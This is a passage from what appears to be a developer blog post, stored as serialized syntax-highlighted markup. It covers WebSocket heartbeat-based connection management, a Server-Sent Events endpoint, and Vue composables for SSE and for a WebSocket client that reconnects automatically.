userId,\n",[88,7999,8000],{"class":90,"line":509},[88,8001,8002],{"class":98}," content: message.content,\n",[88,8004,8005,8007,8009,8011,8013,8015],{"class":90,"line":520},[88,8006,6698],{"class":98},[88,8008,6636],{"class":94},[88,8010,6703],{"class":131},[88,8012,5954],{"class":98},[88,8014,6708],{"class":131},[88,8016,6057],{"class":98},[88,8018,8019],{"class":90,"line":526},[88,8020,1712],{"class":98},[88,8022,8023],{"class":90,"line":532},[88,8024,211],{"class":98},[26,8026,8028],{"id":8027},"connection-management","Connection Management",[19,8030,8031],{},"Track connection metadata for presence features:",[79,8033,8035],{"className":81,"code":8034,"language":83,"meta":84,"style":84},"interface Connection {\n ws: WebSocket\n userId: string\n roomId: string\n connectedAt: Date\n lastPing: Date\n}\n\nConst connections = new Map\u003Cstring, Connection>()\n\n// Heartbeat to detect dead connections\nsetInterval(() => {\n const now = Date.now()\n\n for (const [id, conn] of connections) {\n if (now - conn.lastPing.getTime() > 60000) {\n // Connection has not responded to ping in 60 seconds\n conn.ws.terminate()\n connections.delete(id)\n } else if (conn.ws.readyState === WebSocket.OPEN) {\n conn.ws.ping()\n }\n }\n}, 30000)\n\n// Update lastPing on pong\nws.on('pong', () => {\n const conn = connections.get(connectionId)\n if (conn) conn.lastPing = new Date()\n})\n",[40,8036,8037,8046,8054,8062,8070,8080,8089,8093,8097,8119,8123,8128,8139,8156,8160,8185,8211,8216,8226,8236,8256,8265,8269,8273,8283,8287,8292,8310,8326,8341],{"__ignoreMap":84},[88,8038,8039,8041,8044],{"class":90,"line":91},[88,8040,691],{"class":94},[88,8042,8043],{"class":131}," Connection",[88,8045,452],{"class":98},[88,8047,8048,8050,8052],{"class":90,"line":112},[88,8049,7042],{"class":138},[88,8051,142],{"class":94},[88,8053,6976],{"class":131},[88,8055,8056,8058,8060],{"class":90,"line":119},[88,8057,4495],{"class":138},[88,8059,142],{"class":94},[88,8061,706],{"class":145},[88,8063,8064,8066,8068],{"class":90,"line":166},[88,8065,6546],{"class":138},[88,8067,142],{"class":94},[88,8069,706],{"class":145},[88,8071,8072,8075,8077],{"class":90,"line":191},[88,8073,8074],{"class":138}," connectedAt",[88,8076,142],{"class":94},[88,8078,8079],{"class":131}," Date\n",[88,8081,8082,8085,8087],{"class":90,"line":208},[88,8083,8084],{"class":138}," lastPing",[88,8086,142],{"class":94},[88,8088,8079],{"class":131},[88,8090,8091],{"class":90,"line":509},[88,8092,211],{"class":98},[88,8094,8095],{"class":90,"line":520},[88,8096,116],{"emptyLinePlaceholder":115},[88,8098,8099,8102,8104,8106,8108,8110,8112,8114,8117],{"class":90,"line":526},[88,8100,8101],{"class":98},"Const connections ",[88,8103,805],{"class":94},[88,8105,971],{"class":94},[88,8107,6440],{"class":131},[88,8109,157],{"class":98},[88,8111,1498],{"class":145},[88,8113,483],{"class":98},[88,8115,8116],{"class":131},"Connection",[88,8118,4886],{"class":98},[88,8120,8121],{"class":90,"line":532},[88,8122,116],{"emptyLinePlaceholder":115},[88,8124,8125],{"class":90,"line":815},[88,8126,8127],{"class":346},"// Heartbeat to detect dead connections\n",[88,8129,8130,8133,8135,8137],{"class":90,"line":858},[88,8131,8132],{"class":131},"setInterval",[88,8134,1618],{"class":98},[88,8136,731],{"class":94},[88,8138,452],{"class":98},[88,8140,8141,8143,8146,8148,8151,8154],{"class":90,"line":882},[88,8142,169],{"class":94},[88,8144,8145],{"class":145}," now",[88,8147,175],{"class":94},[88,8149,8150],{"class":98}," Date.",[88,8152,8153],{"class":131},"now",[88,8155,1325],{"class":98},[88,8157,8158],{"class":90,"line":906},[88,8159,116],{"emptyLinePlaceholder":115},[88,8161,8162,8164,8166,8168,8170,8172,8174,8177,8180,8183],{"class":90,"line":936},[88,8163,7035],{"class":94},[88,8165,717],{"class":98},[88,8167,2021],{"class":94},[88,8169,4911],{"class":98},[88,8171,1698],{"class":145},[88,8173,483],{"class":98},[88,8175,8176],{"class":145},"conn",[88,8178,8179],{"class":98},"] ",[88,8181,8182],{"class":94},"of",[88,8184,7048],{"class":98},[88,8186,8187,8189,8192,8195,8198,8201,8204,8206,8209],{"class":90,"line":941},[88,8188,1122],{"class":94},[88,8190,8191],{"class":98}," (now ",[88,8193,8194],{"class":94},"-",[88,8196,8197],{"class":98}," conn.lastPing.",[88,8199,8200],{"class":131},"getTime",[88,8202,8203],{"class":98},"() ",[88,8205,1128],{"class":94},[88,8207,8208],{"class":145}," 60000",[88,8210,774],{"class":98},[88,8212,8213],{"class":90,"line":952},[88,8214,8215],{"class":346}," // Connection has not responded to ping in 60 seconds\n",[88,8217,8218,8221,8224],{"class":90,"line":963},[88,8219,8220],{"class":98}," conn.ws.",[88,8222,8223],{"class":131},"terminate",[88,8225,1325],{"class":98},[88,8227,8228,8231,8233],{"class":90,"line":979},[88,8229,8230],{"class":98}," connections.",[88,8232,6810],{"class":131},[88,8234,8235],{"class":98},"(id)\n",[88,8237,8238,8240,8243,8245,8248,8250,8252,8254],{"class":90,"line":984},[88,8239,802],{"class":98},[88,8241,8242],{"class":94},"else",[88,8244,1122],{"class":94},[88,8246,8247],{"class":98}," (conn.ws.readyState ",[88,8249,1232],{"class":94},[88,8251,1235],{"class":98},[88,8253,1238],{"class":145},[88,8255,774],{"class":98},[88,8257,8258,8260,8263],{"class":90,"line":1002},[88,8259,8220],{"class":98},[88,8261,8262],{"class":131},"ping",[88,8264,1325],{"class":98},[88,8266,8267],{"class":90,"line":1012},[88,8268,523],{"class":98},[88,8270,8271],{"class":90,"line":1017},[88,8272,523],{"class":98},[88,8274,8275,8278,8281],{"class":90,"line":1022},[88,8276,8277],{"class":98},"}, ",[88,8279,8280],{"class":145},"30000",[88,8282,855],{"class":98},[88,8284,8285],{"class":90,"line":1043},[88,8286,116],{"emptyLinePlaceholder":115},[88,8288,8289],{"class":90,"line":1064},[88,8290,8291],{"class":346},"// Update lastPing on pong\n",[88,8293,8294,8297,8299,8301,8304,8306,8308],{"class":90,"line":1075},[88,8295,8296],{"class":98},"ws.",[88,8298,7633],{"class":131},[88,8300,135],{"class":98},[88,8302,8303],{"class":105},"'pong'",[88,8305,2795],{"class":98},[88,8307,731],{"class":94},[88,8309,452],{"class":98},[88,8311,8312,8314,8317,8319,8321,8323],{"class":90,"line":1083},[88,8313,169],{"class":94},[88,8315,8316],{"class":145}," conn",[88,8318,175],{"class":94},[88,8320,8230],{"class":98},[88,8322,5577],{"class":131},[88,8324,8325],{"class":98},"(connectionId)\n",[88,8327,8328,8330,8333,8335,8337,8339],{"class":90,"line":1088},[88,8329,1122],{"class":94},[88,8331,8332],{"class":98}," (conn) conn.lastPing ",[88,8334,805],{"class":94},[88,8336,971],{"class":94},[88,8338,6703],{"class":131},[88,8340,1325],{"class":98},[88,8342,8343],{"class":90,"line":1093},[88,8344,2966],{"class":98},[26,8346,8348],{"id":8347},"server-sent-events-the-simpler-alternative","Server-Sent Events: The Simpler Alternative",[19,8350,8351],{},"For one-directional server-to-client updates, SSE is simpler and works better through proxies:",[79,8353,8355],{"className":81,"code":8354,"language":83,"meta":84,"style":84},"// Server-Sent Events endpoint\napp.get('/api/events', requireAuth, (c) => {\n const userId = c.get('userId')\n\n const stream = new ReadableStream({\n start(controller) {\n // Register this stream for the user\n const send = (data: unknown) => {\n controller.enqueue(`data: ${JSON.stringify(data)}\\n\\n`)\n }\n\n userStreams.set(userId, send)\n\n // Send initial connection event\n send({ type: 'connected', timestamp: new Date().toISOString() })\n\n // Clean up on disconnect\n return () => {\n userStreams.delete(userId)\n }\n },\n })\n\n return new Response(stream, {\n headers: {\n 'Content-Type': 'text/event-stream',\n 'Cache-Control': 'no-cache',\n 'Connection': 'keep-alive',\n },\n })\n})\n\n// Sending to a specific user\nfunction notifyUser(userId: string, event: unknown) {\n const send = userStreams.get(userId)\n send?.(event)\n}\n",[40,8356,8357,8362,8385,8403,8407,8423,8435,8440,8462,8497,8501,8505,8515,8519,8524,8547,8551,8556,8566,8574,8578,8582,8586,8590,8602,8607,8619,8631,8643,8647,8651,8655,8659,8664,8689,8703,8710],{"__ignoreMap":84},[88,8358,8359],{"class":90,"line":91},[88,8360,8361],{"class":346},"// Server-Sent Events endpoint\n",[88,8363,8364,8367,8369,8371,8374,8377,8379,8381,8383],{"class":90,"line":112},[88,8365,8366],{"class":98},"app.",[88,8368,5577],{"class":131},[88,8370,135],{"class":98},[88,8372,8373],{"class":105},"'/api/events'",[88,8375,8376],{"class":98},", requireAuth, (",[88,8378,6533],{"class":138},[88,8380,728],{"class":98},[88,8382,731],{"class":94},[88,8384,452],{"class":98},[88,8386,8387,8389,8391,8393,8395,8397,8399,8401],{"class":90,"line":119},[88,8388,169],{"class":94},[88,8390,4495],{"class":145},[88,8392,175],{"class":94},[88,8394,6572],{"class":98},[88,8396,5577],{"class":131},[88,8398,135],{"class":98},[88,8400,4515],{"class":105},[88,8402,855],{"class":98},[88,8404,8405],{"class":90,"line":166},[88,8406,116],{"emptyLinePlaceholder":115},[88,8408,8409,8411,8414,8416,8418,8421],{"class":90,"line":191},[88,8410,169],{"class":94},[88,8412,8413],{"class":145}," stream",[88,8415,175],{"class":94},[88,8417,971],{"class":94},[88,8419,8420],{"class":131}," ReadableStream",[88,8422,5944],{"class":98},[88,8424,8425,8428,8430,8433],{"class":90,"line":208},[88,8426,8427],{"class":131}," start",[88,8429,135],{"class":98},[88,8431,8432],{"class":138},"controller",[88,8434,774],{"class":98},[88,8436,8437],{"class":90,"line":509},[88,8438,8439],{"class":346}," // Register this stream for the user\n",[88,8441,8442,8444,8446,8448,8450,8452,8454,8456,8458,8460],{"class":90,"line":520},[88,8443,169],{"class":94},[88,8445,1211],{"class":131},[88,8447,175],{"class":94},[88,8449,717],{"class":98},[88,8451,720],{"class":138},[88,8453,142],{"class":94},[88,8455,725],{"class":145},[88,8457,728],{"class":98},[88,8459,731],{"class":94},[88,8461,452],{"class":98},[88,8463,8464,8466,8469,8471,8474,8476,8478,8480,8482,8484,8486,8489,8492,8495],{"class":90,"line":526},[88,8465,1623],{"class":98},[88,8467,8468],{"class":131},"enqueue",[88,8470,135],{"class":98},[88,8472,8473],{"class":105},"`data: ${",[88,8475,1253],{"class":145},[88,8477,393],{"class":105},[88,8479,1258],{"class":131},[88,8481,135],{"class":105},[88,8483,720],{"class":98},[88,8485,149],{"class":105},[88,8487,8488],{"class":105},"}",[88,8490,8491],{"class":145},"\\n\\n",[88,8493,8494],{"class":105},"`",[88,8496,855],{"class":98},[88,8498,8499],{"class":90,"line":532},[88,8500,523],{"class":98},[88,8502,8503],{"class":90,"line":815},[88,8504,116],{"emptyLinePlaceholder":115},[88,8506,8507,8510,8512],{"class":90,"line":858},[88,8508,8509],{"class":98}," userStreams.",[88,8511,5630],{"class":131},[88,8513,8514],{"class":98},"(userId, send)\n",[88,8516,8517],{"class":90,"line":882},[88,8518,116],{"emptyLinePlaceholder":115},[88,8520,8521],{"class":90,"line":906},[88,8522,8523],{"class":346}," // Send initial connection event\n",[88,8525,8526,8528,8530,8533,8536,8538,8540,8542,8544],{"class":90,"line":936},[88,8527,1211],{"class":131},[88,8529,7508],{"class":98},[88,8531,8532],{"class":105},"'connected'",[88,8534,8535],{"class":98},", timestamp: ",[88,8537,6636],{"class":94},[88,8539,6703],{"class":131},[88,8541,5954],{"class":98},[88,8543,6708],{"class":131},[88,8545,8546],{"class":98},"() })\n",[88,8548,8549],{"class":90,"line":941},[88,8550,116],{"emptyLinePlaceholder":115},[88,8552,8553],{"class":90,"line":952},[88,8554,8555],{"class":346}," // Clean up on disconnect\n",[88,8557,8558,8560,8562,8564],{"class":90,"line":963},[88,8559,194],{"class":94},[88,8561,995],{"class":98},[88,8563,731],{"class":94},[88,8565,452],{"class":98},[88,8567,8568,8570,8572],{"class":90,"line":979},[88,8569,8509],{"class":98},[88,8571,6810],{"class":131},[88,8573,1678],{"class":98},[88,8575,8576],{"class":90,"line":984},[88,8577,523],{"class":98},[88,8579,8580],{"class":90,"line":1002},[88,8581,406],{"class":98},[88,8583,8584],{"class":90,"line":1012},[88,8585,1712],{"class":98},[88,8587,8588],{"class":90,"line":1017},[88,8589,116],{"emptyLinePlaceholder":115},[88,8591,8592,8594,8596,8599],{"class":90,"line":1022},[88,8593,194],{"class":94},[88,8595,971],{"class":94},[88,8597,8598],{"class":131}," Response",[88,8600,8601],{"class":98},"(stream, {\n",[88,8603,8604],{"class":90,"line":1043},[88,8605,8606],{"class":98}," headers: {\n",[88,8608,8609,8612,8614,8617],{"class":90,"line":1064},[88,8610,8611],{"class":105}," 'Content-Type'",[88,8613,281],{"class":98},[88,8615,8616],{"class":105},"'text/event-stream'",[88,8618,287],{"class":98},[88,8620,8621,8624,8626,8629],{"class":90,"line":1075},[88,8622,8623],{"class":105}," 'Cache-Control'",[88,8625,281],{"class":98},[88,8627,8628],{"class":105},"'no-cache'",[88,8630,287],{"class":98},[88,8632,8633,8636,8638,8641],{"class":90,"line":1083},[88,8634,8635],{"class":105}," 'Connection'",[88,8637,281],{"class":98},[88,8639,8640],{"class":105},"'keep-alive'",[88,8642,287],{"class":98},[88,8644,8645],{"class":90,"line":1088},[88,8646,406],{"class":98},[88,8648,8649],{"class":90,"line":1093},[88,8650,1712],{"class":98},[88,8652,8653],{"class":90,"line":1109},[88,8654,2966],{"class":98},[88,8656,8657],{"class":90,"line":1119},[88,8658,116],{"emptyLinePlaceholder":115},[88,8660,8661],{"class":90,"line":1136},[88,8662,8663],{"class":346},"// Sending to a specific user\n",[88,8665,8666,8668,8671,8673,8675,8677,8679,8681,8683,8685,8687],{"class":90,"line":1150},[88,8667,759],{"class":94},[88,8669,8670],{"class":131}," notifyUser",[88,8672,135],{"class":98},[88,8674,1488],{"class":138},[88,8676,142],{"class":94},[88,8678,146],{"class":145},[88,8680,483],{"class":98},[88,8682,1034],{"class":138},[88,8684,142],{"class":94},[88,8686,725],{"class":145},[88,8688,774],{"class":98},[88,8690,8691,8693,8695,8697,8699,8701],{"class":90,"line":1155},[88,8692,169],{"class":94},[88,8694,1211],{"class":145},[88,8696,175],{"class":94},[88,8698,8509],{"class":98},[88,8700,5577],{"class":131},[88,8702,1678],{"class":98},[88,8704,8705,8707],{"class":90,"line":1160},[88,8706,1211],{"class":131},[88,8708,8709],{"class":98},"?.(event)\n",[88,8711,8712],{"class":90,"line":1165},[88,8713,211],{"class":98},[19,8715,8716],{},"In the Vue/Nuxt frontend:",[79,8718,8720],{"className":81,"code":8719,"language":83,"meta":84,"style":84},"// composables/useSSE.ts\nexport function useSSE(url: string) {\n const lastEvent = ref\u003Cunknown>(null)\n let eventSource: EventSource | null = null\n\n onMounted(() => {\n eventSource = new EventSource(url, { withCredentials: true })\n\n eventSource.onmessage = (event) => {\n lastEvent.value = JSON.parse(event.data)\n }\n\n eventSource.onerror = () => {\n // EventSource reconnects automatically\n }\n })\n\n onUnmounted(() => {\n eventSource?.close()\n })\n\n return { lastEvent: readonly(lastEvent) }\n}\n",[40,8721,8722,8727,8746,8767,8787,8791,8801,8819,8823,8842,8857,8861,8865,8879,8884,8888,8892,8896,8906,8915,8919,8923,8935],{"__ignoreMap":84},[88,8723,8724],{"class":90,"line":91},[88,8725,8726],{"class":346},"// composables/useSSE.ts\n",[88,8728,8729,8731,8733,8736,8738,8740,8742,8744],{"class":90,"line":112},[88,8730,1478],{"class":94},[88,8732,128],{"class":94},[88,8734,8735],{"class":131}," useSSE",[88,8737,135],{"class":98},[88,8739,784],{"class":138},[88,8741,142],{"class":94},[88,8743,146],{"class":145},[88,8745,774],{"class":98},[88,8747,8748,8750,8753,8755,8757,8759,8761,8763,8765],{"class":90,"line":119},[88,8749,169],{"class":94},[88,8751,8752],{"class":145}," lastEvent",[88,8754,175],{"class":94},[88,8756,825],{"class":131},[88,8758,157],{"class":98},[88,8760,872],{"class":145},[88,8762,849],{"class":98},[88,8764,877],{"class":145},[88,8766,855],{"class":98},[88,8768,8769,8771,8774,8776,8779,8781,8783,8785],{"class":90,"line":166},[88,8770,885],{"class":94},[88,8772,8773],{"class":98}," eventSource",[88,8775,142],{"class":94},[88,8777,8778],{"class":131}," EventSource",[88,8780,833],{"class":94},[88,8782,898],{"class":145},[88,8784,175],{"class":94},[88,8786,903],{"class":145},[88,8788,8789],{"class":90,"line":191},[88,8790,116],{"emptyLinePlaceholder":115},[88,8792,8793,8795,8797,8799],{"class":90,"line":208},[88,8794,1347],{"class":131},[88,8796,1618],{"class":98},[88,8798,731],{"class":94},[88,8800,452],{"class":98},[88,8802,8803,8806,8808,8810,8812,8815,8817],{"class":90,"line":509},[88,8804,8805],{"class":98}," eventSource ",[88,8807,805],{"class":94},[88,8809,971],{"class":94},[88,8811,8778],{"class":131},[88,8813,8814],{"class":98},"(url, { withCredentials: ",[88,8816,1991],{"class":145},[88,8818,1712],{"class":98},[88,8820,8821],{"class":90,"line":520},[88,8822,116],{"emptyLinePlaceholder":115},[88,8824,8825,8828,8830,8832,8834,8836,8838,8840],{"class":90,"line":526},[88,8826,8827],{"class":98}," eventSource.",[88,8829,1027],{"class":131},[88,8831,175],{"class":94},[88,8833,717],{"class":98},[88,8835,1034],{"class":138},[88,8837,728],{"class":98},[88,8839,731],{"class":94},[88,8841,452],{"class":98},[88,8843,8844,8847,8849,8851,8853,8855],{"class":90,"line":532},[88,8845,8846],{"class":98}," lastEvent.value ",[88,8848,805],{"class":94},[88,8850,1053],{"class":145},[88,8852,393],{"class":98},[88,8854,1058],{"class":131},[88,8856,1061],{"class":98},[88,8858,8859],{"class":90,"line":815},[88,8860,523],{"class":98},[88,8862,8863],{"class":90,"line":858},[88,8864,116],{"emptyLinePlaceholder":115},[88,8866,8867,8869,8871,8873,8875,8877],{"class":90,"line":882},[88,8868,8827],{"class":98},[88,8870,1170],{"class":131},[88,8872,175],{"class":94},[88,8874,995],{"class":98},[88,8876,731],{"class":94},[88,8878,452],{"class":98},[88,8880,8881],{"class":90,"line":906},[88,8882,8883],{"class":346}," // EventSource reconnects automatically\n",[88,8885,8886],{"class":90,"line":936},[88,8887,523],{"class":98},[88,8889,8890],{"class":90,"line":941},[88,8891,1712],{"class":98},[88,8893,8894],{"class":90,"line":952},[88,8895,116],{"emptyLinePlaceholder":115},[88,8897,8898,8900,8902,8904],{"class":90,"line":963},[88,8899,1367],{"class":131},[88,8901,1618],{"class":98},[88,8903,731],{"class":94},[88,8905,452],{"class":98},[88,8907,8908,8911,8913],{"class":90,"line":979},[88,8909,8910],{"class":98}," eventSource?.",[88,8912,1322],{"class":131},[88,8914,1325],{"class":98},[88,8916,8917],{"class":90,"line":984},[88,8918,1712],{"class":98},[88,8920,8921],{"class":90,"line":1002},[88,8922,116],{"emptyLinePlaceholder":115},[88,8924,8925,8927,8930,8932],{"class":90,"line":1012},[88,8926,194],{"class":94},[88,8928,8929],{"class":98}," { lastEvent: ",[88,8931,1391],{"class":131},[88,8933,8934],{"class":98},"(lastEvent) }\n",[88,8936,8937],{"class":90,"line":1017},[88,8938,211],{"class":98},[26,8940,8942],{"id":8941},"client-side-websocket-with-auto-reconnect","Client-Side WebSocket With Auto-Reconnect",[79,8944,8946],{"className":81,"code":8945,"language":83,"meta":84,"style":84},"// composables/useWebSocket.ts\nexport function useWebSocket(url: string) {\n const status = ref\u003C'connecting' | 'connected' | 'disconnected'>('disconnected')\n const lastMessage = ref\u003Cunknown>(null)\n let ws: WebSocket | null = null\n let reconnectTimeout: ReturnType\u003Ctypeof setTimeout>\n\n function connect() {\n status.value = 'connecting'\n ws = new WebSocket(url)\n\n ws.onopen = () => { status.value = 'connected' }\n\n ws.onmessage = (event) => {\n lastMessage.value = JSON.parse(event.data)\n }\n\n ws.onclose = (event) => {\n status.value = 'disconnected'\n // Auto-reconnect unless deliberately closed\n if (!event.wasClean) {\n reconnectTimeout = setTimeout(connect, 3000)\n }\n }\n }\n\n function send(data: unknown) {\n if (ws?.readyState === WebSocket.OPEN) {\n ws.send(JSON.stringify(data))\n }\n }\n\n onMounted(connect)\n onUnmounted(() => {\n clearTimeout(reconnectTimeout)\n ws?.close(1000, 'Component unmounted')\n })\n\n return { status: readonly(status), lastMessage: readonly(lastMessage), send }\n}\n",[40,8947,8948,8952,8970,8998,9018,9036,9053,9057,9065,9073,9086,9090,9111,9115,9133,9147,9151,9155,9173,9181,9186,9197,9214,9218,9222,9226,9230,9246,9261,9277,9281,9285,9289,9295,9305,9312,9331,9335,9339,9356],{"__ignoreMap":84},[88,8949,8950],{"class":90,"line":91},[88,8951,686],{"class":346},[88,8953,8954,8956,8958,8960,8962,8964,8966,8968],{"class":90,"line":112},[88,8955,1478],{"class":94},[88,8957,128],{"class":94},[88,8959,762],{"class":131},[88,8961,135],{"class":98},[88,8963,784],{"class":138},[88,8965,142],{"class":94},[88,8967,146],{"class":145},[88,8969,774],{"class":98},[88,8971,8972,8974,8976,8978,8980,8982,8984,8986,8988,8990,8992,8994,8996],{"class":90,"line":119},[88,8973,169],{"class":94},[88,8975,820],{"class":145},[88,8977,175],{"class":94},[88,8979,825],{"class":131},[88,8981,157],{"class":98},[88,8983,830],{"class":105},[88,8985,833],{"class":94},[88,8987,836],{"class":105},[88,8989,833],{"class":94},[88,8991,841],{"class":105},[88,8993,849],{"class":98},[88,8995,852],{"class":105},[88,8997,855],{"class":98},[88,8999,9000,9002,9004,9006,9008,9010,9012,9014,9016],{"class":90,"line":166},[88,9001,169],{"class":94},[88,9003,863],{"class":145},[88,9005,175],{"class":94},[88,9007,825],{"class":131},[88,9009,157],{"class":98},[88,9011,872],{"class":145},[88,9013,849],{"class":98},[88,9015,877],{"class":145},[88,9017,855],{"class":98},[88,9019,9020,9022,9024,9026,9028,9030,9032,9034],{"class":90,"line":191},[88,9021,885],{"class":94},[88,9023,7042],{"class":98},[88,9025,142],{"class":94},[88,9027,893],{"class":131},[88,9029,833],{"class":94},[88,9031,898],{"class":145},[88,9033,175],{"class":94},[88,9035,903],{"class":145},[88,9037,9038,9040,9043,9045,9047,9049,9051],{"class":90,"line":208},[88,9039,885],{"class":94},[88,9041,9042],{"class":98}," reconnectTimeout",[88,9044,142],{"class":94},[88,9046,916],{"class":131},[88,9048,157],{"class":98},[88,9050,921],{"class":94},[88,9052,2439],{"class":98},[88,9054,9055],{"class":90,"line":509},[88,9056,116],{"emptyLinePlaceholder":115},[88,9058,9059,9061,9063],{"class":90,"line":520},[88,9060,128],{"class":94},[88,9062,946],{"class":131},[88,9064,949],{"class":98},[88,9066,9067,9069,9071],{"class":90,"line":526},[88,9068,955],{"class":98},[88,9070,805],{"class":94},[88,9072,960],{"class":105},[88,9074,9075,9078,9080,9082,9084],{"class":90,"line":532},[88,9076,9077],{"class":98}," ws ",[88,9079,805],{"class":94},[88,9081,971],{"class":94},[88,9083,893],{"class":131},[88,9085,976],{"class":98},[88,9087,9088],{"class":90,"line":815},[88,9089,116],{"emptyLinePlaceholder":115},[88,9091,9092,9094,9096,9098,9100,9102,9105,9107,9109],{"class":90,"line":858},[88,9093,7080],{"class":98},[88,9095,990],{"class":131},[88,9097,175],{"class":94},[88,9099,995],{"class":98},[88,9101,731],{"class":94},[88,9103,9104],{"class":98}," { status.value ",[88,9106,805],{"class":94},[88,9108,836],{"class":105},[88,9110,523],{"class":98},[88,9112,9113],{"class":90,"line":882},[88,9114,116],{"emptyLinePlaceholder":115},[88,9116,9117,9119,9121,9123,9125,9127,9129,9131],{"class":90,"line":906},[88,9118,7080],{"class":98},[88,9120,1027],{"class":131},[88,9122,175],{"class":94},[88,9124,717],{"class":98},[88,9126,1034],{"class":138},[88,9128,728],{"class":98},[88,9130,731],{"class":94},[88,9132,452],{"class":98},[88,9134,9135,9137,9139,9141,9143,9145],{"class":90,"line":936},[88,9136,1067],{"class":98},[88,9138,805],{"class":94},[88,9140,1053],{"class":145},[88,9142,393],{"class":98},[88,9144,1058],{"class":131},[88,9146,1061],{"class":98},[88,9148,9149],{"class":90,"line":941},[88,9150,523],{"class":98},[88,9152,9153],{"class":90,"line":952},[88,9154,116],{"emptyLinePlaceholder":115},[88,9156,9157,9159,9161,9163,9165,9167,9169,9171],{"class":90,"line":963},[88,9158,7080],{"class":98},[88,9160,1098],{"class":131},[88,9162,175],{"class":94},[88,9164,717],{"class":98},[88,9166,1034],{"class":138},[88,9168,728],{"class":98},[88,9170,731],{"class":94},[88,9172,452],{"class":98},[88,9174,9175,9177,9179],{"class":90,"line":979},[88,9176,955],{"class":98},[88,9178,805],{"class":94},[88,9180,1116],{"class":105},[88,9182,9183],{"class":90,"line":984},[88,9184,9185],{"class":346}," // Auto-reconnect unless deliberately closed\n",[88,9187,9188,9190,9192,9194],{"class":90,"line":1002},[88,9189,1122],{"class":94},[88,9191,717],{"class":98},[88,9193,2208],{"class":94},[88,9195,9196],{"class":98},"event.wasClean) {\n",[88,9198,9199,9202,9204,9206,9209,9212],{"class":90,"line":1012},[88,9200,9201],{"class":98}," reconnectTimeout ",[88,9203,805],{"class":94},[88,9205,1144],{"class":131},[88,9207,9208],{"class":98},"(connect, ",[88,9210,9211],{"class":145},"3000",[88,9213,855],{"class":98},[88,9215,9216],{"class":90,"line":1017},[88,9217,523],{"class":98},[88,9219,9220],{"class":90,"line":1022},[88,9221,523],{"class":98},[88,9223,9224],{"class":90,"line":1043},[88,9225,523],{"class":98},[88,9227,9228],{"class":90,"line":1064},[88,9229,116],{"emptyLinePlaceholder":115},[88,9231,9232,9234,9236,9238,9240,9242,9244],{"class":90,"line":1075},[88,9233,128],{"class":94},[88,9235,1211],{"class":131},[88,9237,135],{"class":98},[88,9239,720],{"class":138},[88,9241,142],{"class":94},[88,9243,725],{"class":145},[88,9245,774],{"class":98},[88,9247,9248,9250,9253,9255,9257,9259],{"class":90,"line":1083},[88,9249,1122],{"class":94},[88,9251,9252],{"class":98}," (ws?.readyState ",[88,9254,1232],{"class":94},[88,9256,1235],{"class":98},[88,9258,1238],{"class":145},[88,9260,774],{"class":98},[88,9262,9263,9265,9267,9269,9271,9273,9275],{"class":90,"line":1088},[88,9264,7080],{"class":98},[88,9266,1248],{"class":131},[88,9268,135],{"class":98},[88,9270,1253],{"class":145},[88,9272,393],{"class":98},[88,9274,1258],{"class":131},[88,9276,1261],{"class":98},[88,9278,9279],{"class":90,"line":1093},[88,9280,523],{"class":98},[88,9282,9283],{"class":90,"line":1109},[88,9284,523],{"class":98},[88,9286,9287],{"class":90,"line":1119},[88,9288,116],{"emptyLinePlaceholder":115},[88,9290,9291,9293],{"class":90,"line":1136},[88,9292,1347],{"class":131},[88,9294,1350],{"class":98},[88,9296,9297,9299,9301,9303],{"class":90,"line":1150},[88,9298,1367],{"class":131},[88,9300,1618],{"class":98},[88,9302,731],{"class":94},[88,9304,452],{"class":98},[88,9306,9307,9309],{"class":90,"line":1155},[88,9308,2477],{"class":131},[88,9310,9311],{"class":98},"(reconnectTimeout)\n",[88,9313,9314,9317,9319,9321,9324,9326,9329],{"class":90,"line":1160},[88,9315,9316],{"class":98}," ws?.",[88,9318,1322],{"class":131},[88,9320,135],{"class":98},[88,9322,9323],{"class":145},"1000",[88,9325,483],{"class":98},[88,9327,9328],{"class":105},"'Component unmounted'",[88,9330,855],{"class":98},[88,9332,9333],{"class":90,"line":1165},[88,9334,1712],{"class":98},[88,9336,9337],{"class":90,"line":1181},[88,9338,116],{"emptyLinePlaceholder":115},[88,9340,9341,9343,9346,9348,9351,9353],{"class":90,"line":1191},[88,9342,194],{"class":94},[88,9344,9345],{"class":98}," { status: ",[88,9347,1391],{"class":131},[88,9349,9350],{"class":98},"(status), lastMessage: ",[88,9352,1391],{"class":131},[88,9354,9355],{"class":98},"(lastMessage), send }\n",[88,9357,9358],{"class":90,"line":1196},[88,9359,211],{"class":98},[19,9361,9362],{},"Real-time features require careful architecture from the start. The single-server implementation is straightforward; the scaling architecture needs to be designed before you need it.",[565,9364],{},[19,9366,9367,9368,393],{},"Adding real-time features to your application or designing a WebSocket architecture that needs to scale? I have built these systems and can help you get the architecture right. Book a call: ",[571,9369,3126],{"href":573,"rel":9370},[575],[565,9372],{},[26,9374,581],{"id":580},[583,9376,9377,9383,9389,9395],{},[586,9378,9379],{},[571,9380,9382],{"href":9381},"/blog/enterprise-software-development-best-practices","Enterprise Software Best Practices (From Someone Who's Shipped It)",[586,9384,9385],{},[571,9386,9388],{"href":9387},"/blog/architecture-decision-records","Architecture Decision Records: Why You Need Them and How to Write Them",[586,9390,9391],{},[571,9392,9394],{"href":9393},"/blog/clean-architecture-guide","Clean Architecture in Practice (Beyond the Circles Diagram)",[586,9396,9397],{},[571,9398,9400],{"href":9399},"/blog/event-driven-architecture-guide","Event-Driven Architecture: When It's the Right Call",[611,9402,9403],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: 